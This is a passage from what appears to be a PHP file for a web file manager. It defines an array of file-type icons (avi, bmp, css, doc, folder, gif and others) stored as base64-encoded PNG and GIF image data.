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',
  './AJAX-B/icones/type-avi.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIfSURBVDjLpZNPaBNBGMXfbrubzBqbg4kL0lJLgiVKE/AP6Kl6UUFQNAeDIAjVS08aELx59GQPAREV/4BeiqcqROpRD4pUNCJSS21OgloISWMEZ/aPb6ARdNeTCz92mO+9N9/w7RphGOJ/nsH+olqtvg+CYJR8q9VquThxuVz+oJTKeZ63Uq/XC38E0Jj3ff8+OVupVGLbolkzQw5HOqAxQU4wXWWnZrykmYD0QsgAOJe9hpEUcPr8i0GaJ8n2vs/sL2h8R66TpVfWTdETHWE6GRGKjGiiKNLii5BSLpN7pBHpgMYhMkm8tPUWz3sL2D1wFaY/jvnWcTTaE5DyjMfTT5J0XIAiTRYn3ASwZ1MKbTmN7z+KaHUOYqmb1fcPiNa4kQBuyvWAHYfcHGzDgYcx9NKrwJYHCAyF21JiPWBnXMAQOea6bmn+4ueYGZi8gtymNVobF7BG5prNpjd+eW6X4BSUD0gOdCpzA8MpA/v2v15kl4+pK0emwHSbjJGBlz+vYM1fQeDrYOBTdzOGvDf6EFNr+LYjHbBgsaCLxr+moNQjU2vYhRXpgIUOmSWWnsJRfjlOZhrexgtYDZ/gWbetNRbNs6QT10GJglNk64HMaGgbAkoMo5fiFNy7CKDQUGqE5r38YktxAfSqW7Zt33l66WtkAkACjuNsaLVaDxlw5HdJ/86aYrG4WCgUZD6fX+jv/U0ymfxoWVZomuZyf+8XqfGP49CCrBUAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-bmp.png' => 'R0lGODlhEAAQAMQfAJXI9qZ4U8rl/qPPabSGYG6k0aXS+51uR15shOLq8tLNy0hUaai3yPP3+lRhee/x8ykxQ0FIVz1EVdxKO/fqv7K0uISRoryRbMHfjc/As+3Xm+hjT9GqirJ4R////////yH5BAEAAB8ALAAAAAAQABAAAAWM4CeOXmmO6FcSROB2XqpeBGffMOpddtcBhQ4nJ9pxMANfIThExFS1weASuPiGFqen5gs0BAGcQhugaDpewWHYYTQcpfKZc1i3GYbGIs4WDvEGBgl7HmsbE1dtgYKEaxOIQooAAAkRMR5+NgcVgZMPEk+FdQcZCaYJDwoQTyoeWQgOCwsREhBwOia5uSEAOw==',
  './AJAX-B/icones/type-bz2.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFh8i1fs8sAAAAxRJREFUOMtlk19om1UYxn/nfH+SfEnbrNmWdGIrcdWMzk2dbQm7mV1RqrWKil6oyAai6I0ieFdQwTvBi7rhhXghiDCmDtFdzYqDYSc41264ViYLa6tJ18Us//Pl+87xokms3QsPPJz3fX88HM4xAAkIQG/yHY0lObAjTGK1SG5rb5OQbe1kdzLNc0cBuS9O8tu3U194F9/3yz8eLU3tkY9tnt0so02Ki8HkJ0+fnA2obPnlx6+NHZ+Z/jz17Cv3+6og7Dts+5mR3ueXF65m5rNqgf9KAcIARNzcfdfxqZOzQyMD/aPDieFD772WNrZHDfwVGn9dwbKKmFTkxAPbn6xkcpW5Fe/nFkQDwggQCb2xf/rY5MTedMkyiAwadMWv4hUW8W4uoQsZrGIWXSph1Api7N7wI4Fiveun680fdItk+Lj+qnt6dnrq7Dt94310P+iAyGGYaxhmfgOwlsX/O4e7mket5xgdcNI92k6cud74HlCyBZOyWUZ8cwQunUC6K+BmoZhH1yvIgIklNQ5VnGiESMzkYL8eA4KANDs3FHKQfgR++QzdGIddESjl4VYRakVoAqFedPUmwm+gtdNZ7UAIBtHWtg2/fAHRHER5NfAkiijSyoPvQtRBNx18UwIl/peEkIO2Wl5IdCMP3SmoXgajipIOhByE9kErtKxtSaJBB0IYXTYI2eFq20cEbcCGsAKtWg2FL732mDQBtV6lvPhbZnHPUwdSaAUmCF+A2Y1W2xBCQ3MDoLVG4EPgVieJAciGj/v13I2vhu3Gof6D9+2SEQfsMFgRtOmhA0G0E0TbIXIXhijkxilc2ysz84n6MpfnZOvpkq2QfeKjpcOn3v3ujKol0MG70WYfojuG6IkhwjHchs2N+VHlqkl8c5Jlfj+r8DaStH+jq3BPLfxzYscfS/fsf/jRISscR5iCZtHi10/Prb/51ukP1+oPlaP1O3e+/uULE39658+39m8vKTCnR2IzpXMz+srHL5WODISPOZIkIF8d/WAm1ZMeuW1ni5ctIw9HxYu9BvsAs30eIOJs2ZP/AqQBNQT47l2SAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-bzip2.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFh8i1fs8sAAAAxRJREFUOMtlk19om1UYxn/nfH+SfEnbrNmWdGIrcdWMzk2dbQm7mV1RqrWKil6oyAai6I0ieFdQwTvBi7rhhXghiDCmDtFdzYqDYSc41264ViYLa6tJ18Us//Pl+87xokms3QsPPJz3fX88HM4xAAkIQG/yHY0lObAjTGK1SG5rb5OQbe1kdzLNc0cBuS9O8tu3U194F9/3yz8eLU3tkY9tnt0so02Ki8HkJ0+fnA2obPnlx6+NHZ+Z/jz17Cv3+6og7Dts+5mR3ueXF65m5rNqgf9KAcIARNzcfdfxqZOzQyMD/aPDieFD772WNrZHDfwVGn9dwbKKmFTkxAPbn6xkcpW5Fe/nFkQDwggQCb2xf/rY5MTedMkyiAwadMWv4hUW8W4uoQsZrGIWXSph1Api7N7wI4Fiveun680fdItk+Lj+qnt6dnrq7Dt94310P+iAyGGYaxhmfgOwlsX/O4e7mket5xgdcNI92k6cud74HlCyBZOyWUZ8cwQunUC6K+BmoZhH1yvIgIklNQ5VnGiESMzkYL8eA4KANDs3FHKQfgR++QzdGIddESjl4VYRakVoAqFedPUmwm+gtdNZ7UAIBtHWtg2/fAHRHER5NfAkiijSyoPvQtRBNx18UwIl/peEkIO2Wl5IdCMP3SmoXgajipIOhByE9kErtKxtSaJBB0IYXTYI2eFq20cEbcCGsAKtWg2FL732mDQBtV6lvPhbZnHPUwdSaAUmCF+A2Y1W2xBCQ3MDoLVG4EPgVieJAciGj/v13I2vhu3Gof6D9+2SEQfsMFgRtOmhA0G0E0TbIXIXhijkxilc2ysz84n6MpfnZOvpkq2QfeKjpcOn3v3ujKol0MG70WYfojuG6IkhwjHchs2N+VHlqkl8c5Jlfj+r8DaStH+jq3BPLfxzYscfS/fsf/jRISscR5iCZtHi10/Prb/51ukP1+oPlaP1O3e+/uULE39658+39m8vKTCnR2IzpXMz+srHL5WODISPOZIkIF8d/WAm1ZMeuW1ni5ctIw9HxYu9BvsAs30eIOJs2ZP/AqQBNQT47l2SAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-conf.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAACwUlEQVQ4jYVTTUgbQRT+djbZxISUKHVJ2AhpIpSanHqQ+HMqxYsltPFiD17aq+Ra8CJ6CJTW3IoiiJeePLTBgocStNJSQklohd2YTYNFiU2sEoMmktDd2R7Mphtp8cEwjzdvvvd9780wAAgujTqdTs/09PQLn883pqqqqdls5paWlmZFUXyPa4wAIF1dXc7l5eXvQ0NDrxiGCQLwuFyuyOLi4o+BgYEHet5/1qUzPj4enZqaeguAMyb09fXdi8ViGQAmY1GDAqI7cLvdt2RZ/ghAAUB1iScnJ2mHw+EBYNVjhnPAgA5Jkr4ODw9PFAqFN6Ojo2Msy8Lv998JBoP9tVrtghBCKaU6E2Mr/jqEENvc3NzOxsbGb0mStHQ6rRWLRW1ra0vb29vT5ufnV6/IaBujB1mW5RKJxL7f7+dLpRIODw/h8Xjg8/kgSRICgQACgcDter1euArSluNwOHhBEHiv14uenh4IgoDT01PY7XYAgKqq4DjO1QLp6Emb2tnZ2a9cLlduNptQFAWqqoJlWTQaDfT29kKW5Uq1Ws3/4y5hW5KopmlUluXiyMjIQ5vNRliWhd1uR7lchtPpBKXUvL29/a5Sqey3Lmv6TgyoNJ/PJ2q1Gj04OEAmkymGw+Fn8Xj8taIoUBTFFIvFVjmOc15lQmCYe3d3t9dsNnOqqiKVSn0RRfHl2tra05WVlaSqquB5vj8ajS7oRVsgtGNkhBDl+Pj4jOM4iKK400pU4vH4o1Qq9cFqtSISiTwZHBwMG8ZNjIiYnJxcEAThBsdx2N3d/aZXAnCRTCY/ZbPZCiEEoVDoseGszYRYLBabxWJpaJqGer1OS6VS1tivzc3N2aOjo0K1WkUul+uYkklnwjAM53a7QyzLYn19/bOiKD8N1QCAzszMTPA8f/f8/Nz4Vjr+AvF6vfdDodBzADeN8ev2PyWiKBu7pEwrAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-cpp.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAH/SURBVDjLjZPNaxNRFMWrf4cFwV13JVKXLuta61apIChIV0rblUqhjYpRcUaNboxIqxFTQgVti4hQQTe1C7FFSUmnmvmM85XJzCSpx3efzmTSRtqBw7yZ9+5v7rl3bg+AHhK7DjClmAZ20UGm/XFcApAKgsBqNptbrVYL3cT2IQjCnSQkCRig4FqtBs/zYtm2DdM0oaoqh8iyDFEUY0gUvI8AdMD3fYRhyO8k13VhWRY0TeOAer0O+kg2m/0LIcDx9LdDgxff5jJzKjJzCmbe6fi0anEABTiOA13Xd1jiNTlxfT01UVB/CfMG7r/WILxScaOo4FpeBrPEfUdWDMPgmVQqlTbgtCjls4sGjl16PxuRny5oGH3yA7oZoPjR4BDbqeHlksLrUa1W24DJWRU3Wer9Qw/Gk+kVmA2lGuDKtMQzsVwfl6c3eE3IUgyYeCFjsqCgb3DqQhJwq/gTY7lyV61Jdhtw7qFUSjNA/8m8kASkc5tYXnN4BvTs1kO23uAdIksx4OjI19Grzys4c7fkfCm5MO0QU483cf5eGcurNq8BWfD8kK11HtwBoDYeGV4ZO5X57ow8knBWLGP49jqevVF5IKnRaOxQByD6kT6smFj6bHb0OoJsV1cAe/n7f3PQRVsx4B/kMCuQRxt7CWZnXT69CUAvQfYwzpFo9Hv/AD332dKni9XnAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-css.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAGeSURBVDjLxVNNS0JRED3qA0MRoqCFouBGN9Yia9HGRa3b9x/6M62jf9CuTS0EV0arXASG0gcUYWIgmvi6792P7sz1WUI7Fw0Mc70z59wz88aYMQbLWBxL2tIEXrN5+mcPWkvrBsZQVNYDSKmglLTZ0J4lwjCER8XZ7OYcSDMxRs/cEdCZSKKoNeUU7u/rjoBMiE8GuKQrcCA1A0XuFK2sZKwC3xE4Zo1UahX5/Dam0yH6/Q4KhV17H+Lu7gKVyiESCQ/dbgPD4QvfSykQlzKcMxP4+fnGJr4seAdPT01MJh8oFve4uNOp20fWQBilQqvAEtBQqE+6IBuPe3h8bML3hyiX95FOr6HXayOT2UCpdIDR6I1r6VF6KK61z5N1ROAkvdBuX+H6+oznksttodE4wevrLbdC8h1GwCMZJF+pgIdSrR6xtCCYWLnrnBuP31GrHfN5MHhgcDRUj3pzbAFarfOFSUf++4tEA3dRwhNCsKRkMv2r+Oe7R7+jvbArNotu/6wC3/Z7yX3TdhkjbDS8eUTi5EoGuLhosX//N34Dm6aVPfzbYjIAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-doc.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIdSURBVDjLjZO7a5RREMV/9/F9yaLBzQY3CC7EpBGxU2O0EBG0sxHBUitTWYitYCsiiJL0NvlfgoWSRpGA4IMsm43ZXchmv8e9MxZZN1GD5MCBW8yce4aZY1QVAGPMaWAacPwfm8A3VRUAVJWhyIUsy7plWcYQgh7GLMt0aWnpNTADWFX9Q2C+LMu4s7Oj/X5/xF6vp51OR1utloYQtNls6vLy8kjE3Huz9qPIQjcUg/GZenVOokIEiSBBCKUSQ+TFwwa1Wo2iKBARVlZW3iwuLr7izssPnwZ50DLIoWz9zPT+s/fabrf/GQmY97GIIXGWp28/08si5+oV1jcGTCSO6nHH2pddYqmkaUq320VECCFQr9cBsBIVBbJcSdXQmK7Q6Qsnq54sj2gBplS896RpSpIkjI2NjVZitdh7jAOSK6trXcpC2GjlfP1esHD+GDYozjm893jvSZJkXyAWe+ssc6W5G9naLqkaw/pGxBrl1tVpJCrWWpxzI6GRgOQKCv2BYHPl5uUatROeSsVy7eIkU9UUiYoxBgDnHNbagw4U6yAWwpmphNvXT6HAhAZuLNRx1iDDWzHG/L6ZEbyJVLa2c54/PgsKgyzw5MHcqKC9nROK/aaDvwN4KYS7j959DHk2PtuYnBUBFUEVVBQRgzX7I/wNM7RmgEshhFXAcDSI9/6KHQZKAYkxDgA5SnOMcReI5kCcG8M42yM6iMDmL261eaOOnqrOAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-folder...png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAADPklEQVQ4jY3UT2gcZRzG8e87f3ZnZ7OzTXZ3NtZkk5hNog2xjURRivViPQiFXjx4LJTiQVpF8OpBEATBmyAYMIhWtEi1WguaIgjBfyUQMYlVs0naJGZ3kzHrZnZmd2ZeDyExxVr6wHt64cP7vj+eV0gpudvc+PV1GTVv4vIwvcVnSCQSYndPuxtgvTQhcefJGT5qvMGPi7NY7cuE/pR0NiexMqfvDFUXxmXoLZPSDAxdR4g6UgRYxiK18ntYVoAiNqhWm/9CjeXzUmjthC0XNwI1KmOikkgOIIJ1ZFAnDAO23L/ptPP40SIycvDDCjEjvwM1Vz+TRufTiADwXMygDOFB3MY6b/1wmSO2yUOZFs24SSpnE1OmWHMEiplCOgJN01Ca65NSyxxFqOa+S5n81fB44Zv3Obc5zsnvJ7i6KbDMMrqchsjDSjcQ2gZ+00JVVZSoVQOh3vI2TqPGy1NvM2FeJHwgpDrm8NzseT7/fRFBCCIiZroIxQXJLlRHaG17SL3l8uwXr/Fu7gKtwy2wgYNw87ENTpd+4dPrASR8VD1AUVIIkSSKIpRQtZBBfQ8an/mIrwcvEgwGkGVn5QAbyo84vLS0itQitv0RKs6LeH4/nuehYBTwN6/tQcf7n+BNeZaenzLoaR1SoB/QsbYsnv9tmFeGjlKtn2Wl8iq1moK7XUEIgZayR4VTuiDjrToKCocO9DE4dIwv57/lUb1IkyYCQU2vcWLoXkazp6jVTcprl9ioVElZJ7Fte2f8Ip7Br82RaBveOZZocY95H2eCc8REDIAr4gq+OsBWzWfh+gd4fpGe3hMUCn1ks1mhAeht97Nd+QrDHEAAYbNBRte4PP0GmmoAsNr4k6JYYbYsSSSf4vCRMWzb3uub2C1t5cZVaSgeqcQovjNJzDwElo1IdlHfmuXn6XEqjk1Xz3GKxSKWZe0VFvaVNtk+wsbyxySNfoinwB5ByhZrCx8yM/MdcetJRsceJJvN3dL63Yj938hmZU565U/Idj5OS0lTmr/ESrWNfPcxCoVeOjo6/gPcFgJYmntHal6J0rpBGBul0DdMPp/HNM3/RW4LbW/X5NIf15BKjq7ubtLp9B2B3fwDjGdTBAEPdIkAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-folder..png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAC5klEQVQ4jY3UTWtcVRzH8e859859zNxpksmdWJJpSieolFQDdaGibtSFKLjxHei24Gtw5XtoFyKooHRhl9JtEUopBGmqkMw0tQ3zlHGuc58fjouQmNI09Lc98OH8/4ffEUopXjaP//xWVdnfRLzFWucLbNsWR2f6ywD97neK6CFLVopmxtztPcCb36NM76jJwW28xS/Phka7N1SZ7FHXLaxaDSFmKFHgWT2Cwfd4XoEUY0aj7H8o3vtRCX2eMo+IKtCqAQ4atruOKPqoYkZZFkyjf1n2W6RVD1VNSMshhtU6hLKnvypr+RNEASQRTjGA8jzkB1CNAUWST8lMh/qSjyHvsD8RSKeOmgh0XUdm/dtKX3wXoTknhnJAHe+RMO0jG+fxnAE1dR+qBK8RI/QxaeahaRqyygMQ2hmbUijNxWAEKkBQgqgwnAghI1AcQTOEPnc6oVKSuEvNXoAqAgrQcrBTtFqBlHWEcKmqCllqHqqYPYdU+YAs61Hz1jEIQOQIPQYjQekVYbrBcPI1SXqJJEmQWG3Sg3vPItljKjXDdK6glSEwAyMEM6MQ5xjNrvFk+A1BIInCIUII9Lq/KSbdX5SZz5DIw5GqKZq+CuU/QARaDBIy3maafUoQOgz2bzEejqh7n+P7/uHzC3ORNNjGnrt8eCWRI6gBCRCjjEVy8yOi6nWmwQ67f/1Akna4sPYZ7fZFms2m0AFqc68RDn/DctYRQJnFaJYEUnBfRXnvkGXwtHeTnZ0tbPdj3njzKr7vH/dNB3C9V0Q0XVGz6V3q9iaggdTg3AcId4V4+oA/7t9gOPFZufAVnU4Hz/PEyb0eV8Sd32C89zOudQnMOvgbKJWzv/sTW1u/Y3ofsnn1Cs3m0jOtP4o4+Y0cDLdVMrhJc/k9ctmg+/AWT0ZztFbfp91eY2Fh4TngVAjg0fZ1pSddun2L0tikffEyrVYLx3FeiJwKhWGgHu3cQ8klVlZXaTQaZwJH+Q8xVUOJIaUgZwAAAABJRU5ErkJggg==',
  './AJAX-B/icones/type-gif.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFiMoRt2sUQAAAp9JREFUOMt9kk1LJFcUhp/bVa3ETldrZhSjRhdKMwsnDJNNFtImq0yydRUhbvwRISAkLsJkkVXID8gQwuQvZECYjSEDEiOtkMGFII3YafzoTnVXdd17z8liUq2SjAde7uac9z7vudfUarVPnj7+8SdvHZIJkjo0KCCZw55ZJPN4q0jmkEzx1iNOkMzzTJ4/++rbzU/DIAiG7qblUfN2Ed/1SM+jCsnx38S/tnE9/VeC63mIHdK1aNcx8tkbbwGEqkr44E20L5hyEfWCqhLODFP68A7iPN4L4hwigjjzisQJL178CUAIYMZCDGCMQVUBUFVUFRH539M5h/nDMCBJkoTj42P29/eZmppibm5u0AjcMPDWoV4hfGUwIOl0OiwsLDA9PU2apqRpSr/fJ0kSxsfHCcOQXq/HxcUFpZfDJEcxvQ/kpgnA+fk5SZIMhkWE+fl5Dg8PabfbBEHA5OQkyb2UYLGEdjoYcy1Omqbs7e2RZRnee9I0ZXl5mdPTU37+4Sntly2ixbt89PEjoihieFi5XoU8s/ce7z3WWpxzlEolisUi3a0WX7/zOX/91iCOY9rtNgcHB3S73as4qjoYzOW9p9lsUi6XqW084knyO++/t8zQ0BAnJyccHR1RqVReT5Ib7ezs0O/3WXz3PrX7VarVKgCNRgMRwRhztROAIAgYHR3FWntD9XqdmZkZrLWoKo1GgyiK8N5jjMFaexVnbGyMarX6n0j5mV+0tLTExMQEqsrl5aVsbGz8MiCpVCpEUcRtJSK0Wi1GRkaI41jW19c3d3d3vwMkVFUKhcLgu7+uVJUsy2g2m7K2tra5vb39DZABhULelC/qNp2dnbnV1dUvrxkAiJmdnX24srLyRf5St5FsbW1t1+v173MCQIDCP3dR1Xsao2dGAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-gz.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAC/0lEQVQ4jWWTW2hcVRSGv73PmZlzSdpmGk3QpNYxpvGSGBEbL0VKQ6sVLxTxQWzV9qHoS1uwWMQLfRBEqSCW+GAfBEGqQokU9KmhpoKkoKUlpW1M1aQ2pCG3yczJdC7n7OXDXEjHDT8s1t7/x8/ae1uABhQgK+qatnTzyG2raZ1aYKZ+b4XQVbXRkdrKy3sA3b2O1MlPur6N/j0cBZd2Z1/YqJ9debZO5aJd3dtxZsf5yfc27Bs4drDts9I/nxaMGZLi0udizIeSv7qj9Prm2Gv15hqkze5IDb94fnLm40WZOHJaTDguIr+KkW8kN3VApPSmyPxLUvjjqejAM+7Beojl4LuHHvpg4Int7Y8XbQ+7Q9G4foIwd4Uw+ydmeRI7PwNBBquUVv29/rZYNt84PFYakgpFAfruFpJ/He+d5b53oKUT+BuYALkO02MwN024sESYDpDlACM+Xw5GXx0aXHoLMLVIKlpGjbyBuvY9iikU06jcPOQClB0jFgc3nsdb00BD0ubJLtkCOIC2KxAk7qD8BmT8a1TUD60+kllAlgPUzQwUgFgSyc+hTBETeVWrqUFwXCSRBAUydw4VdoLJoUKFqFUoaxEogO8j4mEsC8hySxISLsSbymNSCpF5cLqgMAoqh9geiAtiQASjbtYlEZCYi17lVCCVmasIPAckASI1QBkSViHaBsx8luDyuWtX7n/u4S4sqXAUmEZEN6FEwJQBIoISA7GlWhIL0IWQ4omh2ROPriluvquv+w7l+qi4D7oRYiWIJyDhQMLhxvCDpC/0kR69R6cvrM+PMzqiAQMwk+HG8++O9Q8e/umUCVoRUohuBbcZvGbw1lIIEsz+ssG45hWS9k6ucumMISonqf7GYkTxx5HFH5qvj3X2bnr6AdttQVmaMGvz+7Hf5